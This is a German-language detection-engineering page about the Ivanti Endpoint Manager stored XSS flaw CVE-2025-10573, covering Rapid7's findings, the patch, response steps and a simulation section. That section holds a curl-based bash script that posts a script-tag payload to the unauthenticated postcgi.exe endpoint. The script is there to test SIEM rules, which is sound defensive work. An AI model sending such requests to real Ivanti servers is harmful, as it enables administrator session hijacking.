Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ivanti Endpoint Manager (EPM) enthält eine gespeicherte Cross-Site-Scripting-Sicherheitslücke, die es einem nicht authentifizierten Angreifer ermöglicht, bösartigen JavaScript-Code in Gerätedaten zu injizieren. Wenn diese Nutzlast im Web-Dashboard der Verwaltungskonsole angezeigt wird, kann sie verwendet werden, um die Sitzung eines Administrators zu übernehmen. Das Problem ist als CVE-2025-10573 erfasst und hat einen CVSS-Score von 9,6.
Untersuchung
Rapid7 analysierte eine Ivanti EPM 11.0.6 Core-Installation auf Windows Server 2022 und entdeckte, dass eine konstruierte POST-Anfrage an /incomingdata/postcgi.exe mit bösartigen key=value-Feldern dazu führt, dass das JavaScript gespeichert und später in der Admin-Benutzeroberfläche ausgeführt wird. Das unsichere Verhalten der CGI-Binary postcgi.exe, die Scandateien außerhalb des Web-Roots schreibt, ermöglicht diesen Injektionspfad.
Minderung
Ivanti veröffentlichte am 09.12.2025 einen Patch. Ein Upgrade auf die Ivanti EPM-Version 2024 SU4 SR1 behebt die Sicherheitslücke. Rapid7 stellt einen authentifizierten Schwachstellenscan für Exposure Command, InsightVM und Nexpose-Benutzer bereit, um betroffene Installationen zu identifizieren.
Antwort
Organisationen sollten das 2024 SU4 SR1-Update umgehend implementieren, den nicht authentifizierten Zugriff auf die /incomingdata API einschränken und Webserver-Logs auf POST-Anfragen an postcgi.exe überprüfen. Sie sollten auch Administrator-Sitzungen auf Anzeichen von Hijacking überprüfen und alle kompromittierten Zugangsdaten ändern.
Angriffsverlauf
Wir aktualisieren diesen Teil noch. Melden Sie sich an, um benachrichtigt zu werden.
Benachrichtige michSimulationsausführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die dazu dient, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
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Angriffsbericht & Befehle:
Ein Angreifer, der entdeckt hat, dass der Ivanti EPM-Scanendpunkt nicht authentifiziert ist, erstellt eine bösartige Scan-Nutzlast, die ein<script>Tag einbindet, das eine Warnung (repräsentiert die Sitzungsübernahme) anzeigt. Der Angreifer verwendetcurlum diese Nutzlast zu POSTen und so eine legitime Gerätescaneinreichung zu simulieren. Da die Nutzlast genau der Zeichenkette entspricht, die die Regel überwacht, sollte das SIEM einen Alarm auslösen. -
Regressionstest-Skript:
#!/bin/bash # ------------------------------------------------- # Gespeichertes XSS gegen Ivanti EPM Scan API simulieren # ------------------------------------------------- # Ziel-URL (Host bei Bedarf anpassen) TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan" # Bösartige Nutzlast – genau die Zeichenfolge, die die Regel erwartet PAYLOAD="<script>alert('Administrator-Konto wurde übernommen')</script>" # Vollständiger XML-Körper, den Ivanti EPM erwartet (vereinfacht) XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>" # Anfrage senden curl -k -X POST "$TARGET" -H "Content-Type: application/xml" -d "$XML_BODY" echo "Bösartiger Scan eingereicht." -
Aufräumbefehle:
Die Scan-Daten bleiben in der Ivanti EPM-Datenbank bestehen; das Löschen erfordert normalerweise einen authentifizierten Administrator. Zu Testzwecken beschränkt sich der Bereinigungsschritt darauf, die Testdatei aus lokalen Logaufzeichnungen zu entfernen.#!/bin/bash # Einfache Bereinigung: temporäre curl-Logs entfernen (falls vorhanden) rm -f /tmp/curl_log_* echo "Lokale Testartefakte entfernt."
Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit in Bedrohungen zu verbessern, die für Ihr Unternehmen am relevantesten sind. Um Ihnen den Einstieg zu erleichtern und sofortigen Nutzen zu bieten, buchen Sie jetzt ein Treffen mit SOC Prime-Experten.
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